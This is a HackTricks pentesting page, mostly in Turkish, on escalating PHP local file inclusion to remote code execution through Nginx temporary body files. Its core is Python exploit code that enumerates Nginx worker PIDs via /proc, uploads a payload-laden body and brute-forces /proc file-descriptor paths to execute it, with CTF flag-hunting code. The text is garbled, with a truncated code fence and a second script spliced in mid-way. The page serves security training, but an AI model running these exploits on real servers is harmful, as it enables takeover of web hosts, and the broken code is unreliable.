hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

8.7 KiB
Raw Blame History

LFI2RCE via Nginx temp files

{% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

WhiteIntel

WhiteIntel dark-web destekli bir arama motorudur ve bir şirketin veya müşterilerinin tehdit altına alınıp alınmadığını kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Web sitelerini kontrol edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}


ık yapılandırma

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • PHP kodu:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (silindi) ... ``` Not: Bu örnekte doğrudan `/proc/34/fd/15` dahil edilemez çünkü PHP'nin `include` fonksiyonu yolu `/var/lib/nginx/body/0000001368 (silindi)` olarak çözecektir ve bu dosya dosya sisteminde mevcut değildir. Bu küçük kısıtlama, şans eseri, bazı dolaylı yollarla aşılabilir: `/proc/self/fd/34/../../../34/fd/15` bu da sonunda silinmiş `/var/lib/nginx/body/0000001368` dosyasının içeriğini çalıştıracaktır. ## Tam Sömürü ```python #!/usr/bin/env python3 import sys, threading, requests # nginx'in istemci gövde tamponlama yardımıyla PHP yerel dosya dahil etme (LFI) sömürüsü # ayrıntılar için https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ adresine bakın URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # nginx işçi süreçlerini bul r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx işçi bulundu: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # nginx'in /var/lib/nginx/body/$X oluşturmasını sağlamak için büyük bir istemci gövdesi yükle def uploader(): print('[+] yükleyici başlatılıyor') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)

def send\_payload\_multiprocess(requests\_session): # Tüm CPU'ları kullanarak Nginx için yükü istek gövdesi olarak gönderin for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()

def generate\_random\_path\_prefix(nginx\_pids): # Bu yöntem, rastgele sayıda ProcFS yol bileşeninden bir yol oluşturur. Oluşturulan bir yol şöyle görünecektir: /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Bayraklar hxp{} olarak formatlanmıştır if "hxp" in d: print("Bayrak bulundu! ") print(d)

def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Nginx FD'lerini 10 - 45 arasında bir döngüde tarayın. Dosyalar ve soketler kapandığı için - istek gövdesi FD'sinin bu aralıkta açılması çok yaygındır for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()

def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()

if **name** == "**main**": print('\[DEBUG] İstek oturumu oluşturuluyor') requests\_session = create\_requests\_session() print('\[DEBUG] Nginx pid'leri alınıyor') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pid'leri: {nginx\_pids}') print('\[DEBUG] Yük gönderimi başlatılıyor') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] FD okuyucuları başlatılıyor') read\_file\_multiprocess(requests\_session, nginx\_pids)

## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}